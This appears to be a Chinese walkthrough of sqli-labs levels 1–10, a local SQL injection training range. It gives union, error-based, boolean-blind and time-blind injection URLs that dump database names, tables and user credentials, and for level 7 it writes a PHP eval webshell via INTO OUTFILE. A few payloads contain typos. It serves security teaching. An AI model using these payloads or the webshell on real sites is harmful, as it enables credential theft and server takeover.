sqli-labs靶场通关攻略

Less-1

第一步、搭建环境,使用版本为5.4.45的PHP

第二步、打开Less-1

根据已知条件,确定使用ID作为参数

第三步、判断闭合方式

发现闭合方式为' --+

http://127.0.0.1/Less-1/?id=1' --+

第四步、使用order by判断字段列数

http://127.0.0.1/Less-1/?id=1' order by 1 --+

http://127.0.0.1/Less-1/?id=1' order by 2 --+  

http://127.0.0.1/Less-1/?id=1' order by 3 --+

http://127.0.0.1/Less-1/?id=1' order by 4 --+ 页面不正常 说明存在3列

第五步、使用联合查询,可以查找页面回显点

页面显示的是id=1的数据,没有显示联合查询的数据,把页面前面查询的id的数据改成不存在的,比如-1,即可显示

http://127.0.0.1/Less-1/?id=-1' union select 1,2,3 --+

第六步、使用联合查询,查询数据库和用户名

http://127.0.0.1/Less-1/?id=-1' union select 1,database(),user() --+

第七步、使用联合查询,查询网站的security数据库里所有表名

http://127.0.0.1/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

第八步、使用联合查询,查询users列表所有列

http://127.0.0.1/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

第九步、查询表中所有数据

http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(id,'~',username,'~',password) from users --+

Less-2

第一步、打开Less-2

第二步、判断闭合方式

判断闭合方式为数字型

第三步、使用order by 判断字段列数

http://127.0.0.1/Less-2/?id=1 order by 1 --+

http://127.0.0.1/Less-2/?id=1 order by 2 --+

http://127.0.0.1/Less-2/?id=1 order by 3 --+

http://127.0.0.1/Less-2/?id=1 order by 4 --+ 页面不正常 说明存在3列

第四步、使用联合查询,可以查找页面回显点

页面显示的是id=1的数据,没有显示联合查询的数据,把页面前面查询的id的数据改成不存在的,比如-1,即可显示

http://127.0.0.1/Less-2/?id=-1 union select 1,2,3 --+

第五步、使用联合查询,查询数据库和用户名

http://127.0.0.1/Less-2/?id=-1 union select 1,database(),user() --+

第六步、使用联合查询,查询网站的security数据库里所有表名

http://127.0.0.1/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

第七步、使用联合查询,查询users列表所有列

http://127.0.0.1/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

第八步、查询表中所有数据

http://127.0.0.1/Less-2/?id=-1 union select 1,2,group_concat(id,'~',username,'~',password) from users --+

Less-3

第一步、打开Less-3

第二步、判断闭合方式

判断闭合方式为字符型

第三步、使用order by 判断字符段数

http://127.0.0.1/Less-3/?id=1') order by 1 --+

http://127.0.0.1/Less-3/?id=1') order by 2 --+

http://127.0.0.1/Less-3/?id=1') order by 3 --+

http://127.0.0.1/Less-3/?id=1') order by 4 --+ 页面不正常 说明存在3列

第四步、使用联合查询,可以查找页面回显点

页面显示的是id=1的数据,没有显示联合查询的数据,把页面前面查询的id的数据改成不存在的,比如-1,即可显示

http://127.0.0.1/Less-3/?id=-1') union select 1,2,3 --+

第五步、使用联合查询,查询数据库和用户名

http://127.0.0.1/Less-3/?id=-1') union select 1,database(),user() --+

第六步、使用联合查询,查询网站的security数据库里所有表名

http://127.0.0.1/Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

第七步、使用联合查询,查询users列表所有列

http://127.0.0.1/Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

第八步、查询表中所有数据

http://127.0.0.1/Less-3/?id=-1') union select 1,2,group_concat(id,'~',username,'~',password) from users --+

Less-4

第一步、打开Less-4

第二步、判断闭合方式

第三步、使用order by 判断字符段数

http://127.0.0.1/Less-4/?id=1") order by 1 --+

http://127.0.0.1/Less-4/?id=1") order by 2 --+

http://127.0.0.1/Less-4/?id=1") order by 3 --+

http://127.0.0.1/Less-4/?id=1") order by 4 --+ 页面不正常 说明存在3列

第四步、使用联合查询,可以查找页面回显点

页面显示的是id=1的数据,没有显示联合查询的数据,把页面前面查询的id的数据改成不存在的,比如-1,即可显示

http://127.0.0.1/Less-4/?id=-1") union select 1,2,3 --+

第五步、使用联合查询,查询数据库和用户名

http://127.0.0.1/Less-4/?id=-1") union select 1,database(),user() --+

第六步、使用联合查询,查询网站的security数据库里所有表名

http://127.0.0.1/Less-4/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

 第七步、使用联合查询,查询users列表所有列

http://127.0.0.1/Less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

第八步、查询表中所有数据

http://127.0.0.1/Less-4/?id=-1") union select 1,2,group_concat(id,'~',username,'~',password) from users --+

Less-5

第一步、打开Less-5

第二步、判断闭合方式

http://127.0.0.1/Less-5/?id=1' 跟个单引号引起报错 说明页面有报错语句的位置

http://127.0.0.1/Less-5/?id=1' --+ 尝试闭合 闭合成功

第三步、使用报错函数,查询数据库名

http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select database())),1) --+

第四步、使用报错函数,查询表名

http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema='security')),1) --+

第五步、使用报错函数,查询列名 http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+

第六步、查询具体的username、password

http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select group_concat(username,password) from users)),1) --+

结果显示不全,只能通过limit一条一条查询

http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select username from users limit 0,1)),1) --+ //第一条的username

http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select username from users limit 1,1)),1) --+ //第二条的username

http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select username from users limit 2,1)),1) --+ //第三条的username

password同理。

Less-6

第一步、打开Less-6

第二步、判断闭合方式

http://127.0.0.1/Less-6/?id=1" 跟个双引号引起报错 说明页面有报错语句的位置

http://127.0.0.1/Less-6/?id=1" --+ 尝试闭合 闭合成功

第三步、使用报错函数,查询数据库名

http://127.0.0.1/Less-6/?id=1' and updatexml(1,concat(1,(select database())),1) --+

第四步、使用报错函数,查询表名

http://127.0.0.1/Less-6/?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+

第五步、使用报错函数,查询列名 http://127.0.0.1/Less-6/?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+

第六步、查询具体的username、password

http://127.0.0.1/Less-6/?id=1" and updatexml(1,concat(1,(select group_concat(username,password) from users)),1) --+

结果显示不全,只能通过limit一条一条查询

http://127.0.0.1/Less-6/?id=1" and updatexml(1,concat(1,(select username from users limit 0,1)),1) --+ //第一条的username

http://127.0.0.1/Less-6/?id=1" and updatexml(1,concat(1,(select username from users limit 1,1)),1) --+ //第二条的username

http://127.0.0.1/Less-6/?id=1" and updatexml(1,concat(1,(select username from users limit 2,1)),1) --+ //第三条的username

password同理。

Less-7

第一步、打开Less-7

 

第二步、判断闭合方式

http://127.0.0.1/Less-7/?id=1'))  --+ 闭合成功

第三步、写入一句话木马

http://127.0.0.1/Less-7/?id=1')) union select 1,2,<?php @eval($_POST[cmd]);?>into outfile E:/phpStudy_64/phpstudy_pro/WWW/li.php --+

第四步、在浏览器打开写入的木马文件

第五步、使用中国菜刀连接

Less-8

第一步、打开Less-8

第二步、判断闭合方式

http://127.0.0.1/Less-8/?id=1  --+ 闭合成功

因为页面只有ture和flase两种情况,所以需要使用布尔盲注

第三步、判断数据库长度

http://127.0.0.1/Less-8/?id=1' and length(database())>7 --+ 当大于7时页面显示正确

http://127.0.0.1/Less-8/?id=1' and length(database())>8 --+ 当大于8时,页面报错

说明database长度为8

第四步、判断数据库的第一个字符:

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面显示正常 说明数据库第一位字符ascii码大于114 :http://127.0.0.1/Less-8/?id=1' and ascii(substr(database(),1,1))>114--+

判断数据库第一位字符的ascii码是否大于115 页面显示异常 说明不大于 大于114不大于115 说明第一位字符ascii码等于115

http://127.0.0.1/Less-8/?id=1' and ascii(substr(database(),1,1))>115--+

根据ASCII表判断第一个字母为s

以此类推,判断出数据库名为security

Less-9

第一步、打开Less-9

 

第二步、判断闭合方式

http://127.0.0.1/Less-9/?id=1'2 and sleep(2) --+  闭合成功

第三步、判断数据库名的长度

http://127.0.0.1/Less-9/?id=1’ and if(length(database())>7,sleep(3),0) --+

当大于7时,页面响应时间为3秒,说明正确

http://127.0.0.1/Less-9/?id=1' and if(length(database())>8,sleep(3),0) --+

当大于8时,页面立刻相应,说明错误

由此得出database长度为8

第四步、判断数据库名

http://127.0.0.1/Less-9/?id=1' and if(ascii(substr(database(),1,1))>114,sleep(3),0) --+

当大于114时,页面响应时间为3秒,说明正确

http://127.0.0.1/Less-9/?id=1' and if(ascii(substr(database(),1,1))>115,sleep(3),0) --+

当大于115时,页面立即响应,说明错误.

由此得出,第一个字母的ASCII值为115,在结合ASCII表得出第一个字母为s

以此类推,得出数据库名为security

Less-10

第一步、打开Less-10 

第二步、判断闭合方式

http://127.0.0.1/Less-10/?id=1" and sleep(3) --+  闭合成功

第三步、判断数据库名的长度

http://127.0.0.1/Less-10/?id=1" and if(length(database())>7,sleep(3),0) --+

当大于7时,页面响应时间为3秒,说明正确

http://127.0.0.1/Less-10/?id=1" and if(length(database())>8,sleep(3),0) --+

当大于8时,页面立刻相应,说明错误

由此得出database长度为8

第四步、判断数据库名

http://127.0.0.1/Less-10/?id=1" and if(ascii(substr(database(),1,1))>114,sleep(3),0) --+

当大于114时,页面响应时间为3秒,说明正确

http://127.0.0.1/Less-10/?id=1" and if(ascii(substr(database(),1,1))>115,sleep(3),0) --+

当大于115时,页面立即响应,说明错误.

由此得出,第一个字母的ASCII值为115,在结合ASCII表得出第一个字母为s

以此类推,得出数据库名为security

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值